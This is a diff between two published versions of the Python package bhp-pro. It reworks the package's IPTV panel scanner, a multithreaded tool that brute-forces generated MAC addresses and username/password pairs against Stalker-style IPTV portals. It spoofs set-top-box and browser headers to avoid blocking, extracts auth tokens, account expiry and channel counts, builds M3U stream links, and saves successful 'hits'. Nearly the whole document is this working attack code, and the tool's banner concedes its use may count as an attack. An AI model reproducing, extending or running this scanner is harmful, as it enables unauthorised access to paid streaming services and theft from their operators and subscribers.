bhp-pro 1.1.8__tar.gz → 1.1.9__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {bhp_pro-1.1.8 → bhp_pro-1.1.9}/PKG-INFO +1 -1
- {bhp_pro-1.1.8 → bhp_pro-1.1.9}/bhp_pro.egg-info/PKG-INFO +1 -1
- {bhp_pro-1.1.8 → bhp_pro-1.1.9}/bhp_pro.py +238 -78
- {bhp_pro-1.1.8 → bhp_pro-1.1.9}/setup.py +1 -1
- {bhp_pro-1.1.8 → bhp_pro-1.1.9}/README.md +0 -0
- {bhp_pro-1.1.8 → bhp_pro-1.1.9}/bhp_pro.egg-info/SOURCES.txt +0 -0
- {bhp_pro-1.1.8 → bhp_pro-1.1.9}/bhp_pro.egg-info/dependency_links.txt +0 -0
- {bhp_pro-1.1.8 → bhp_pro-1.1.9}/bhp_pro.egg-info/entry_points.txt +0 -0
- {bhp_pro-1.1.8 → bhp_pro-1.1.9}/bhp_pro.egg-info/top_level.txt +0 -0
- {bhp_pro-1.1.8 → bhp_pro-1.1.9}/setup.cfg +0 -0
|
@@ -14015,13 +14015,14 @@ def iptvscan():
|
|
|
14015
14015
|
import sys
|
|
14016
14016
|
import hashlib
|
|
14017
14017
|
import json
|
|
14018
|
+
import socket
|
|
14018
14019
|
from datetime import datetime
|
|
14019
|
-
from urllib.parse import quote
|
|
14020
|
+
from urllib.parse import quote, urlparse
|
|
14020
14021
|
|
|
14021
14022
|
# Disable SSL warnings
|
|
14022
14023
|
import urllib3
|
|
14023
14024
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
14024
|
-
|
|
14025
|
+
generate_ascii_banner("iptv", "scanner")
|
|
14025
14026
|
class IPTVScanner:
|
|
14026
14027
|
def __init__(self):
|
|
14027
14028
|
self.session = requests.Session()
|
|
@@ -14035,31 +14036,65 @@ def iptvscan():
|
|
|
14035
14036
|
self.panel_queue = []
|
|
14036
14037
|
self.panel_threads = []
|
|
14037
14038
|
self.panel_lock = threading.Lock()
|
|
14038
|
-
self.max_panel_threads =
|
|
14039
|
-
self.scanned_lock = threading.Lock()
|
|
14040
|
-
self.current_panel = "None"
|
|
14041
|
-
self.valid_panels = []
|
|
14039
|
+
self.max_panel_threads = 20
|
|
14040
|
+
self.scanned_lock = threading.Lock()
|
|
14041
|
+
self.current_panel = "None"
|
|
14042
|
+
self.valid_panels = []
|
|
14043
|
+
|
|
14044
|
+
def is_server_reachable(self, hostname, port, timeout=3):
|
|
14045
|
+
"""Check if a server is reachable using socket connection"""
|
|
14046
|
+
try:
|
|
14047
|
+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
14048
|
+
s.settimeout(timeout)
|
|
14049
|
+
result = s.connect_ex((hostname, port))
|
|
14050
|
+
s.close()
|
|
14051
|
+
return result == 0
|
|
14052
|
+
except:
|
|
14053
|
+
return False
|
|
14042
14054
|
|
|
14043
14055
|
# ---------------- URL Validation Function ---------------- #
|
|
14044
|
-
def validate_url(self, url, timeout=
|
|
14056
|
+
def validate_url(self, url, timeout=3):
|
|
14045
14057
|
"""
|
|
14046
|
-
Validate a URL by checking its HTTP status code
|
|
14058
|
+
Validate a URL by checking its HTTP status code with better headers and user agents
|
|
14047
14059
|
Returns: (is_valid, status_code, final_url)
|
|
14048
14060
|
"""
|
|
14049
14061
|
try:
|
|
14050
14062
|
if not url.startswith('http'):
|
|
14051
14063
|
url = 'http://' + url
|
|
14052
14064
|
|
|
14053
|
-
|
|
14065
|
+
# Use more realistic headers to avoid being blocked
|
|
14066
|
+
headers = {
|
|
14067
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
|
|
14068
|
+
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
|
|
14069
|
+
'Accept-Language': 'en-US,en;q=0.5',
|
|
14070
|
+
'Connection': 'keep-alive',
|
|
14071
|
+
'Upgrade-Insecure-Requests': '1',
|
|
14072
|
+
}
|
|
14073
|
+
|
|
14074
|
+
# Try GET request with proper headers
|
|
14075
|
+
response = self.session.get(url, headers=headers, timeout=timeout, allow_redirects=True, stream=True)
|
|
14054
14076
|
status_code = response.status_code
|
|
14055
14077
|
|
|
14056
|
-
# Consider 200-
|
|
14057
|
-
if 200 <= status_code
|
|
14078
|
+
# Consider 200-499 as valid (some panels return 403 but are actually working)
|
|
14079
|
+
if 200 <= status_code < 500:
|
|
14058
14080
|
return True, status_code, response.url
|
|
14059
14081
|
else:
|
|
14060
14082
|
return False, status_code, response.url
|
|
14061
14083
|
|
|
14062
14084
|
except requests.exceptions.RequestException as e:
|
|
14085
|
+
# Try one more time with a different approach - just check if domain is reachable
|
|
14086
|
+
try:
|
|
14087
|
+
# Extract just the domain:port
|
|
14088
|
+
parsed = urlparse(url if url.startswith('http') else 'http://' + url)
|
|
14089
|
+
domain_port = f"{parsed.hostname}:{parsed.port}" if parsed.port else parsed.hostname
|
|
14090
|
+
|
|
14091
|
+
# Try connecting to the port directly
|
|
14092
|
+
port_num = parsed.port if parsed.port else 80
|
|
14093
|
+
if self.is_server_reachable(parsed.hostname, port_num, timeout):
|
|
14094
|
+
return True, "PortOpen", url
|
|
14095
|
+
except:
|
|
14096
|
+
pass
|
|
14097
|
+
|
|
14063
14098
|
return False, "Error", url
|
|
14064
14099
|
except Exception as e:
|
|
14065
14100
|
return False, "Exception", url
|
|
@@ -14078,10 +14113,12 @@ def iptvscan():
|
|
|
14078
14113
|
is_valid, status_code, final_url = self.validate_url(url)
|
|
14079
14114
|
|
|
14080
14115
|
if is_valid:
|
|
14081
|
-
|
|
14116
|
+
status_display = f"Status: {status_code}" if isinstance(status_code, int) else f"Status: {status_code}"
|
|
14117
|
+
print(f"\033[92m[{i}] VALID: {url} → {status_display}\033[0m")
|
|
14082
14118
|
valid_urls.append(url)
|
|
14083
14119
|
else:
|
|
14084
|
-
|
|
14120
|
+
status_display = f"Status: {status_code}" if isinstance(status_code, int) else f"Status: {status_code}"
|
|
14121
|
+
print(f"\033[91m[{i}] INVALID: {url} → {status_display}\033[0m")
|
|
14085
14122
|
invalid_urls.append((url, status_code))
|
|
14086
14123
|
|
|
14087
14124
|
# Show statistics
|
|
@@ -14092,7 +14129,18 @@ def iptvscan():
|
|
|
14092
14129
|
if invalid_urls:
|
|
14093
14130
|
print("\n\033[93mInvalid URLs (will be skipped):\033[0m")
|
|
14094
14131
|
for url, status in invalid_urls:
|
|
14095
|
-
|
|
14132
|
+
status_display = f"Status: {status}" if isinstance(status, int) else f"Status: {status}"
|
|
14133
|
+
print(f" {url} → {status_display}")
|
|
14134
|
+
|
|
14135
|
+
# Ask if user wants to include some invalid URLs that might still work
|
|
14136
|
+
include_invalid = "n"
|
|
14137
|
+
if include_invalid == "y":
|
|
14138
|
+
for url, status in invalid_urls:
|
|
14139
|
+
if status == 403 or status == "PortOpen": # 403 might still work, port is open
|
|
14140
|
+
include = "y"
|
|
14141
|
+
if include == "y":
|
|
14142
|
+
valid_urls.append(url)
|
|
14143
|
+
print(f"\033[93mAdded {url} to scan list\033[0m")
|
|
14096
14144
|
|
|
14097
14145
|
return valid_urls
|
|
14098
14146
|
|
|
@@ -14126,8 +14174,8 @@ def iptvscan():
|
|
|
14126
14174
|
|
|
14127
14175
|
# ---------------- Choose MAC mode ---------------- #
|
|
14128
14176
|
def choose_mac_mode(self):
|
|
14129
|
-
choice = input("Do you want to test a specific MAC or auto-generate? (
|
|
14130
|
-
if choice == '
|
|
14177
|
+
choice = input("Do you want to test a specific MAC or auto-generate? (specific/auto) [auto]: ").strip().lower() or "auto"
|
|
14178
|
+
if choice == 'specific':
|
|
14131
14179
|
specific_mac = input("Enter MAC to test: ").strip()
|
|
14132
14180
|
mac_case = input("MAC case (upper/lower) [upper]: ").strip().lower() or "upper"
|
|
14133
14181
|
return choice, specific_mac, mac_case, 1
|
|
@@ -14141,20 +14189,37 @@ def iptvscan():
|
|
|
14141
14189
|
return choice, None, 'upper', mac_count
|
|
14142
14190
|
|
|
14143
14191
|
# ---------------- Panel testing functions ---------------- #
|
|
14144
|
-
def test_panel(self, panel_url, mac, timeout=
|
|
14192
|
+
def test_panel(self, panel_url, mac, timeout=3):
|
|
14145
14193
|
try:
|
|
14146
|
-
original_panel = panel_url
|
|
14194
|
+
original_panel = panel_url
|
|
14147
14195
|
if not panel_url.startswith('http'):
|
|
14148
14196
|
panel_url = 'http://' + panel_url
|
|
14149
|
-
|
|
14197
|
+
|
|
14198
|
+
# Extract server and port
|
|
14199
|
+
parsed = urlparse(panel_url)
|
|
14200
|
+
server = parsed.hostname
|
|
14201
|
+
port = parsed.port if parsed.port else 80
|
|
14202
|
+
|
|
14203
|
+
# First check if server is reachable
|
|
14204
|
+
if not self.is_server_reachable(server, port, timeout=3):
|
|
14205
|
+
return {'success': False, 'error': 'Server not reachable'}
|
|
14206
|
+
|
|
14150
14207
|
tkk = self.generate_random_string(32)
|
|
14151
14208
|
|
|
14209
|
+
# Try different endpoint patterns
|
|
14152
14210
|
endpoints = [
|
|
14153
14211
|
f"http://{server}/server/load.php",
|
|
14154
14212
|
f"http://{server}/portal.php",
|
|
14155
|
-
f"http://{server}/c/portal.php"
|
|
14213
|
+
f"http://{server}/c/portal.php",
|
|
14214
|
+
f"http://{server}/panel/portal.php",
|
|
14215
|
+
f"http://{server}/stalker_portal/server/load.php",
|
|
14216
|
+
f"http://{server}/stalker_portal/c/portal.php"
|
|
14156
14217
|
]
|
|
14157
14218
|
|
|
14219
|
+
# Add the original URL as a potential endpoint
|
|
14220
|
+
if panel_url not in endpoints:
|
|
14221
|
+
endpoints.insert(0, panel_url)
|
|
14222
|
+
|
|
14158
14223
|
headers = {
|
|
14159
14224
|
'User-Agent': 'Mozilla/5.0 (QtEmbedded; U; Linux; C) AppleWebKit/533.3 (KHTML, like Gecko) MAG200 stbapp ver: 4 rev: 1812 Mobile Safari/533.3',
|
|
14160
14225
|
'X-User-Agent': 'Model: MAG250; Link: WiFi',
|
|
@@ -14168,16 +14233,37 @@ def iptvscan():
|
|
|
14168
14233
|
|
|
14169
14234
|
auth_token = None
|
|
14170
14235
|
working_endpoint = None
|
|
14236
|
+
|
|
14171
14237
|
for endpoint in endpoints:
|
|
14172
14238
|
try:
|
|
14173
|
-
|
|
14174
|
-
|
|
14175
|
-
|
|
14176
|
-
|
|
14177
|
-
|
|
14178
|
-
|
|
14179
|
-
|
|
14180
|
-
|
|
14239
|
+
# Try different parameter formats
|
|
14240
|
+
handshake_urls = [
|
|
14241
|
+
f"{endpoint}?type=stb&action=handshake&token={tkk}&JsHttpRequest=1-xml",
|
|
14242
|
+
f"{endpoint}?type=stb&action=handshake&JsHttpRequest=1-xml",
|
|
14243
|
+
f"{endpoint}?action=handshake&type=stb&token={tkk}"
|
|
14244
|
+
]
|
|
14245
|
+
|
|
14246
|
+
for handshake_url in handshake_urls:
|
|
14247
|
+
try:
|
|
14248
|
+
response = self.session.get(handshake_url, headers=headers, timeout=timeout)
|
|
14249
|
+
if response.status_code == 200 and ('"token":"' in response.text or 'token' in response.text):
|
|
14250
|
+
# Try different patterns to extract token
|
|
14251
|
+
token_match = re.search(r'"token":"([^"]+)"', response.text)
|
|
14252
|
+
if not token_match:
|
|
14253
|
+
token_match = re.search(r'"token":\s*"([^"]+)"', response.text)
|
|
14254
|
+
if not token_match:
|
|
14255
|
+
token_match = re.search(r'token["\']?\s*[:=]\s*["\']([^"\']+)', response.text)
|
|
14256
|
+
|
|
14257
|
+
if token_match:
|
|
14258
|
+
auth_token = token_match.group(1)
|
|
14259
|
+
working_endpoint = endpoint
|
|
14260
|
+
break
|
|
14261
|
+
except:
|
|
14262
|
+
continue
|
|
14263
|
+
|
|
14264
|
+
if auth_token:
|
|
14265
|
+
break
|
|
14266
|
+
|
|
14181
14267
|
except:
|
|
14182
14268
|
continue
|
|
14183
14269
|
|
|
@@ -14186,23 +14272,73 @@ def iptvscan():
|
|
|
14186
14272
|
|
|
14187
14273
|
headers['Authorization'] = f'Bearer {auth_token}'
|
|
14188
14274
|
|
|
14189
|
-
|
|
14190
|
-
|
|
14191
|
-
|
|
14275
|
+
# Try different profile URL patterns
|
|
14276
|
+
profile_urls = [
|
|
14277
|
+
f"{working_endpoint}?type=stb&action=get_profile&JsHttpRequest=1-xml",
|
|
14278
|
+
f"{working_endpoint}?action=get_profile&type=stb&JsHttpRequest=1-xml"
|
|
14279
|
+
]
|
|
14280
|
+
|
|
14281
|
+
profile_response = None
|
|
14282
|
+
for profile_url in profile_urls:
|
|
14283
|
+
try:
|
|
14284
|
+
profile_response = self.session.get(profile_url, headers=headers, timeout=timeout)
|
|
14285
|
+
if profile_response.status_code == 200:
|
|
14286
|
+
break
|
|
14287
|
+
except:
|
|
14288
|
+
continue
|
|
14289
|
+
|
|
14290
|
+
if not profile_response or profile_response.status_code != 200:
|
|
14192
14291
|
return {'success': False, 'error': 'Profile request failed'}
|
|
14193
14292
|
|
|
14194
|
-
|
|
14195
|
-
|
|
14196
|
-
|
|
14293
|
+
# Try different account info URL patterns
|
|
14294
|
+
account_urls = [
|
|
14295
|
+
f"{working_endpoint}?type=account_info&action=get_main_info&JsHttpRequest=1-xml",
|
|
14296
|
+
f"{working_endpoint}?action=get_main_info&type=account_info&JsHttpRequest=1-xml"
|
|
14297
|
+
]
|
|
14298
|
+
|
|
14299
|
+
account_response = None
|
|
14300
|
+
for account_url in account_urls:
|
|
14301
|
+
try:
|
|
14302
|
+
account_response = self.session.get(account_url, headers=headers, timeout=timeout)
|
|
14303
|
+
if account_response.status_code == 200:
|
|
14304
|
+
break
|
|
14305
|
+
except:
|
|
14306
|
+
continue
|
|
14307
|
+
|
|
14308
|
+
if not account_response or account_response.status_code != 200:
|
|
14197
14309
|
return {'success': False, 'error': 'Account info request failed'}
|
|
14198
14310
|
|
|
14199
14311
|
account_text = account_response.text
|
|
14200
14312
|
exp_match = re.search(r'"phone":"([^"]+)"', account_text) or re.search(r'"end_date":"([^"]+)"', account_text)
|
|
14201
14313
|
exp_date = exp_match.group(1) if exp_match else "Unknown"
|
|
14202
14314
|
|
|
14203
|
-
|
|
14204
|
-
|
|
14205
|
-
|
|
14315
|
+
# Try different channels URL patterns
|
|
14316
|
+
channels_urls = [
|
|
14317
|
+
f"{working_endpoint}?type=itv&action=get_all_channels&JsHttpRequest=1-xml",
|
|
14318
|
+
f"{working_endpoint}?action=get_all_channels&type=itv&JsHttpRequest=1-xml"
|
|
14319
|
+
]
|
|
14320
|
+
|
|
14321
|
+
channels_response = None
|
|
14322
|
+
for channels_url in channels_urls:
|
|
14323
|
+
try:
|
|
14324
|
+
channels_response = self.session.get(channels_url, headers=headers, timeout=timeout)
|
|
14325
|
+
if channels_response.status_code == 200:
|
|
14326
|
+
break
|
|
14327
|
+
except:
|
|
14328
|
+
continue
|
|
14329
|
+
|
|
14330
|
+
channel_count = 0
|
|
14331
|
+
if channels_response and channels_response.status_code == 200:
|
|
14332
|
+
# Try different patterns to count channels
|
|
14333
|
+
channel_count = len(re.findall(r'"ch_id":"', channels_response.text))
|
|
14334
|
+
if channel_count == 0:
|
|
14335
|
+
channel_count = len(re.findall(r'"id":', channels_response.text))
|
|
14336
|
+
if channel_count == 0:
|
|
14337
|
+
channel_count = len(re.findall(r'"name":', channels_response.text))
|
|
14338
|
+
|
|
14339
|
+
# Check if channels are 0 - if so, don't consider it a hit
|
|
14340
|
+
if channel_count == 0:
|
|
14341
|
+
return {'success': False, 'error': 'No channels found'}
|
|
14206
14342
|
|
|
14207
14343
|
link_url = f"{working_endpoint}?type=itv&action=create_link&forced_storage=undefined&download=0&cmd=ffmpeg%20http%3A%2F%2Flocalhost%2Fch%2F181212_&JsHttpRequest=1-xml"
|
|
14208
14344
|
link_response = self.session.get(link_url, headers=headers, timeout=timeout)
|
|
@@ -14221,7 +14357,7 @@ def iptvscan():
|
|
|
14221
14357
|
|
|
14222
14358
|
m3u_url = f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus"
|
|
14223
14359
|
try:
|
|
14224
|
-
m3u_response = self.session.get(m3u_url, headers=headers, timeout=
|
|
14360
|
+
m3u_response = self.session.get(m3u_url, headers=headers, timeout=3)
|
|
14225
14361
|
m3u_status = "Working" if m3u_response.status_code == 200 else "Not Working"
|
|
14226
14362
|
except:
|
|
14227
14363
|
m3u_status = "Error"
|
|
@@ -14246,7 +14382,7 @@ def iptvscan():
|
|
|
14246
14382
|
'success': True,
|
|
14247
14383
|
'mac': mac,
|
|
14248
14384
|
'panel': server,
|
|
14249
|
-
'original_panel': original_panel,
|
|
14385
|
+
'original_panel': original_panel,
|
|
14250
14386
|
'endpoint': working_endpoint,
|
|
14251
14387
|
'exp_date': exp_date,
|
|
14252
14388
|
'channels': channel_count,
|
|
@@ -14264,42 +14400,66 @@ def iptvscan():
|
|
|
14264
14400
|
except Exception as e:
|
|
14265
14401
|
return {'success': False, 'error': str(e)}
|
|
14266
14402
|
|
|
14267
|
-
def test_m3u_credentials(self, panel_url, username, password, timeout=
|
|
14403
|
+
def test_m3u_credentials(self, panel_url, username, password, timeout=3):
|
|
14268
14404
|
try:
|
|
14269
|
-
original_panel = panel_url
|
|
14405
|
+
original_panel = panel_url
|
|
14270
14406
|
if not panel_url.startswith('http'):
|
|
14271
14407
|
panel_url = 'http://' + panel_url
|
|
14272
14408
|
server = panel_url.replace('http://', '').replace('https://', '').split('/')[0]
|
|
14273
14409
|
|
|
14274
14410
|
headers = {
|
|
14275
|
-
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
|
|
14411
|
+
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
|
|
14276
14412
|
'Accept': '*/*',
|
|
14277
14413
|
'Connection': 'close',
|
|
14278
14414
|
'Host': server
|
|
14279
14415
|
}
|
|
14280
14416
|
|
|
14281
|
-
|
|
14282
|
-
|
|
14283
|
-
|
|
14284
|
-
|
|
14417
|
+
# Try different M3U URL patterns
|
|
14418
|
+
m3u_urls = [
|
|
14419
|
+
f"http://{server}/get.php?username={username}&password={password}&type=m3u_plus",
|
|
14420
|
+
f"http://{server}/get.php?username={username}&password={password}&type=m3u",
|
|
14421
|
+
f"http://{server}/panel_api.php?username={username}&password={password}&action=get_live_streams",
|
|
14422
|
+
f"http://{server}/player_api.php?username={username}&password={password}&action=get_live_streams"
|
|
14423
|
+
]
|
|
14424
|
+
|
|
14425
|
+
ok = False
|
|
14426
|
+
m3u_url = m3u_urls[0]
|
|
14427
|
+
body = ''
|
|
14428
|
+
status_code = 0
|
|
14429
|
+
|
|
14430
|
+
for test_url in m3u_urls:
|
|
14431
|
+
try:
|
|
14432
|
+
resp = self.session.get(test_url, headers=headers, timeout=timeout)
|
|
14433
|
+
status_code = resp.status_code
|
|
14434
|
+
body = resp.text if resp else ''
|
|
14435
|
+
|
|
14436
|
+
# Check for various success indicators
|
|
14437
|
+
if (resp.status_code == 200 and
|
|
14438
|
+
('#EXTM3U' in body or 'http://' in body or '.m3u8' in body or
|
|
14439
|
+
len(body) > 100 or 'channel' in body.lower() or 'stream' in body.lower())):
|
|
14440
|
+
ok = True
|
|
14441
|
+
m3u_url = test_url
|
|
14442
|
+
break
|
|
14443
|
+
except:
|
|
14444
|
+
continue
|
|
14285
14445
|
|
|
14286
14446
|
# Test EPG URL
|
|
14287
14447
|
epg_url = f"http://{server}/xmltv.php?username={username}&password={password}"
|
|
14288
14448
|
try:
|
|
14289
|
-
epg_resp = self.session.get(epg_url, headers=headers, timeout=
|
|
14449
|
+
epg_resp = self.session.get(epg_url, headers=headers, timeout=3)
|
|
14290
14450
|
epg_status = "Working" if epg_resp.status_code == 200 and 'xml' in epg_resp.text.lower() else "Not Working"
|
|
14291
14451
|
except:
|
|
14292
14452
|
epg_status = "Error"
|
|
14293
14453
|
|
|
14294
14454
|
return {
|
|
14295
14455
|
'success': ok,
|
|
14296
|
-
'status_code':
|
|
14456
|
+
'status_code': status_code,
|
|
14297
14457
|
'm3u_url': m3u_url,
|
|
14298
14458
|
'epg_url': epg_url,
|
|
14299
14459
|
'epg_status': epg_status,
|
|
14300
14460
|
'username': username,
|
|
14301
14461
|
'password': password,
|
|
14302
|
-
'original_panel': original_panel,
|
|
14462
|
+
'original_panel': original_panel,
|
|
14303
14463
|
'body_snippet': body[:200] if body else ''
|
|
14304
14464
|
}
|
|
14305
14465
|
|
|
@@ -14324,7 +14484,7 @@ def iptvscan():
|
|
|
14324
14484
|
f.write(f"Mode: {mode}\n")
|
|
14325
14485
|
if mode == 'mac':
|
|
14326
14486
|
f.write(f"MAC: {result.get('mac')}\n")
|
|
14327
|
-
f.write(f"Panel: {result.get('original_panel', result.get('panel'))}\n")
|
|
14487
|
+
f.write(f"Panel: {result.get('original_panel', result.get('panel'))}\n")
|
|
14328
14488
|
if 'endpoint' in result:
|
|
14329
14489
|
f.write(f"Endpoint: {result.get('endpoint')}\n")
|
|
14330
14490
|
if 'exp_date' in result:
|
|
@@ -14365,19 +14525,16 @@ def iptvscan():
|
|
|
14365
14525
|
def worker(self, panel_url, mode='mac', mac_case='upper', prefix_index=0, creds_min=5, creds_max=15, mac_count=0):
|
|
14366
14526
|
self.active_threads += 1
|
|
14367
14527
|
try:
|
|
14368
|
-
# Set the current panel for display
|
|
14369
14528
|
self.current_panel = panel_url
|
|
14370
14529
|
|
|
14371
14530
|
while self.running:
|
|
14372
|
-
# Check global count first
|
|
14373
14531
|
if mac_count > 0 and self.scanned_count >= mac_count:
|
|
14374
14532
|
break
|
|
14375
14533
|
|
|
14376
14534
|
if mode == 'mac':
|
|
14377
14535
|
mac = self.generate_mac(prefix_index, mac_case)
|
|
14378
|
-
result = self.test_panel(panel_url, mac, timeout=
|
|
14536
|
+
result = self.test_panel(panel_url, mac, timeout=3)
|
|
14379
14537
|
|
|
14380
|
-
# Thread-safe counter update
|
|
14381
14538
|
with self.scanned_lock:
|
|
14382
14539
|
self.scanned_count += 1
|
|
14383
14540
|
current_count = self.scanned_count
|
|
@@ -14387,8 +14544,9 @@ def iptvscan():
|
|
|
14387
14544
|
print(f" Exp: {result.get('exp_date')} | Channels: {result.get('channels')} | M3U: {result.get('m3u_status')}")
|
|
14388
14545
|
self.save_hit(result, mode='mac')
|
|
14389
14546
|
|
|
14547
|
+
# Update status display
|
|
14548
|
+
sys.stdout.write(f"\rScanned: {self.scanned_count} | Mac: {mac} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
|
|
14390
14549
|
else:
|
|
14391
|
-
# Credentials mode
|
|
14392
14550
|
if mac_count > 0 and self.scanned_count >= mac_count:
|
|
14393
14551
|
break
|
|
14394
14552
|
|
|
@@ -14407,25 +14565,21 @@ def iptvscan():
|
|
|
14407
14565
|
print(f" M3U URL: {result.get('m3u_url')}")
|
|
14408
14566
|
self.save_hit(result, mode='creds')
|
|
14409
14567
|
|
|
14410
|
-
|
|
14411
|
-
|
|
14412
|
-
|
|
14413
|
-
sys.stdout.flush()
|
|
14414
|
-
|
|
14415
|
-
# Check if we've reached the limit
|
|
14568
|
+
# Update status display
|
|
14569
|
+
sys.stdout.write(f"\rScanned: {self.scanned_count} | Creds: {username}:{password} | Hits: {self.found_hits} | Panel: {self.current_panel[:50]} | Threads: {self.active_threads} | Mode: {mode} | Time: {datetime.now().strftime('%H:%M:%S')} ")
|
|
14570
|
+
|
|
14416
14571
|
if mac_count > 0 and self.scanned_count >= mac_count:
|
|
14417
14572
|
break
|
|
14418
14573
|
|
|
14419
14574
|
time.sleep(0.1)
|
|
14420
14575
|
finally:
|
|
14421
14576
|
self.active_threads -= 1
|
|
14422
|
-
self.current_panel = "None"
|
|
14577
|
+
self.current_panel = "None"
|
|
14423
14578
|
|
|
14424
14579
|
# ---------------- Panel thread runner ---------------- #
|
|
14425
14580
|
def panel_runner(self, panel_url, mode, mac_case, prefix_index, creds_min, creds_max, mac_count):
|
|
14426
|
-
# Adjust thread count based on requested MAC count
|
|
14427
14581
|
if mac_count > 0:
|
|
14428
|
-
thread_count = min(
|
|
14582
|
+
thread_count = min(20, max(1, mac_count // 10))
|
|
14429
14583
|
else:
|
|
14430
14584
|
thread_count = 100
|
|
14431
14585
|
|
|
@@ -14437,18 +14591,15 @@ def iptvscan():
|
|
|
14437
14591
|
threads.append(t)
|
|
14438
14592
|
|
|
14439
14593
|
try:
|
|
14440
|
-
# Properly wait for all threads to finish
|
|
14441
14594
|
for t in threads:
|
|
14442
|
-
t.join()
|
|
14595
|
+
t.join()
|
|
14443
14596
|
except KeyboardInterrupt:
|
|
14444
14597
|
self.running = False
|
|
14445
14598
|
for t in threads:
|
|
14446
14599
|
t.join(timeout=1)
|
|
14447
14600
|
|
|
14448
|
-
|
|
14449
14601
|
# ---------------- Main scanner function ---------------- #
|
|
14450
14602
|
def run_scanner(self):
|
|
14451
|
-
"""Main scanner function that handles the scanning process"""
|
|
14452
14603
|
print("\033[95m" + "="*60)
|
|
14453
14604
|
print(" IPTV PANEL SCANNER")
|
|
14454
14605
|
print("="*60 + "\033[0m")
|
|
@@ -14477,8 +14628,7 @@ def iptvscan():
|
|
|
14477
14628
|
if not valid_panels:
|
|
14478
14629
|
print("\n\033[91mNo valid URLs to scan. Exiting.\033[0m")
|
|
14479
14630
|
return
|
|
14480
|
-
|
|
14481
|
-
# Ask if user wants to continue with only valid URLs
|
|
14631
|
+
|
|
14482
14632
|
continue_scan = "y"
|
|
14483
14633
|
if continue_scan != "y":
|
|
14484
14634
|
print("Scan cancelled.")
|
|
@@ -14488,8 +14638,18 @@ def iptvscan():
|
|
|
14488
14638
|
|
|
14489
14639
|
# MAC choice / count
|
|
14490
14640
|
mac_choice, specific_mac, mac_case, mac_count = ('auto', None, 'upper', 0)
|
|
14641
|
+
creds_count = 0 # Add this variable for credentials count
|
|
14642
|
+
|
|
14491
14643
|
if mode == 'mac':
|
|
14492
14644
|
mac_choice, specific_mac, mac_case, mac_count = self.choose_mac_mode()
|
|
14645
|
+
else:
|
|
14646
|
+
# Add prompt for number of credentials to generate
|
|
14647
|
+
creds_count_input = input("Enter how many credentials to generate/test: ").strip() or "100"
|
|
14648
|
+
try:
|
|
14649
|
+
creds_count = int(creds_count_input)
|
|
14650
|
+
except ValueError:
|
|
14651
|
+
print(f"Invalid number '{creds_count_input}', using default 100")
|
|
14652
|
+
creds_count = 100
|
|
14493
14653
|
|
|
14494
14654
|
creds_min = 5
|
|
14495
14655
|
creds_max = 15
|
|
@@ -14515,8 +14675,11 @@ def iptvscan():
|
|
|
14515
14675
|
self.scanned_count = 0
|
|
14516
14676
|
self.found_hits = 0
|
|
14517
14677
|
|
|
14518
|
-
# Run the panel scanner
|
|
14519
|
-
|
|
14678
|
+
# Run the panel scanner - pass creds_count for creds mode
|
|
14679
|
+
if mode == 'mac':
|
|
14680
|
+
self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, mac_count)
|
|
14681
|
+
else:
|
|
14682
|
+
self.panel_runner(panel, mode, mac_case, 0, creds_min, creds_max, creds_count)
|
|
14520
14683
|
|
|
14521
14684
|
# Display results for this panel
|
|
14522
14685
|
print(f"\nPanel {panel} completed: Scanned {self.scanned_count}, Hits {self.found_hits}")
|
|
@@ -14524,18 +14687,14 @@ def iptvscan():
|
|
|
14524
14687
|
print(f"\nAll panels processed! Total hits found: {self.found_hits}")
|
|
14525
14688
|
|
|
14526
14689
|
def main():
|
|
14527
|
-
"""Main function that handles the application flow"""
|
|
14528
14690
|
try:
|
|
14529
|
-
# Create scanner instance
|
|
14530
14691
|
scanner = IPTVScanner()
|
|
14531
|
-
|
|
14532
|
-
# Run the scanner
|
|
14533
14692
|
scanner.run_scanner()
|
|
14534
14693
|
|
|
14535
14694
|
except KeyboardInterrupt:
|
|
14536
14695
|
print("\n\nScan interrupted by user. Exiting gracefully...")
|
|
14537
14696
|
scanner.running = False
|
|
14538
|
-
time.sleep(1)
|
|
14697
|
+
time.sleep(1)
|
|
14539
14698
|
|
|
14540
14699
|
except Exception as e:
|
|
14541
14700
|
print(f"\nAn unexpected error occurred: {e}")
|
|
@@ -14547,6 +14706,7 @@ def iptvscan():
|
|
|
14547
14706
|
|
|
14548
14707
|
if __name__ == "__main__":
|
|
14549
14708
|
main()
|
|
14709
|
+
|
|
14550
14710
|
def ipcam():
|
|
14551
14711
|
import requests
|
|
14552
14712
|
import re
|
|
@@ -16065,7 +16225,7 @@ def banner():
|
|
|
16065
16225
|
MAGENTA + "██╔═══╝ ██╔══██╗██║ ██║" + LIME + "user should understand that useage of this script may be" + ENDC,
|
|
16066
16226
|
MAGENTA + "██║ ██║ ██║╚██████╔╝" + LIME + "concidered an attack on a data network, and may violate terms" + ENDC,
|
|
16067
16227
|
MAGENTA + "╚═╝ ╚═╝ ╚═╝ ╚═════╝" + LIME + "of service, use on your own network or get permission first" + ENDC,
|
|
16068
|
-
PURPLE + "script_version@ 1.
|
|
16228
|
+
PURPLE + "script_version@ 1.2.0 ®" + ENDC,
|
|
16069
16229
|
ORANGE + "All rights reserved 2022-2025 ♛: ®" + ENDC,
|
|
16070
16230
|
MAGENTA + "In Collaboration whit Ayan Rajpoot ® " + ENDC,
|
|
16071
16231
|
BLUE + "Support: https://t.me/BugScanX 💬" + ENDC,
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|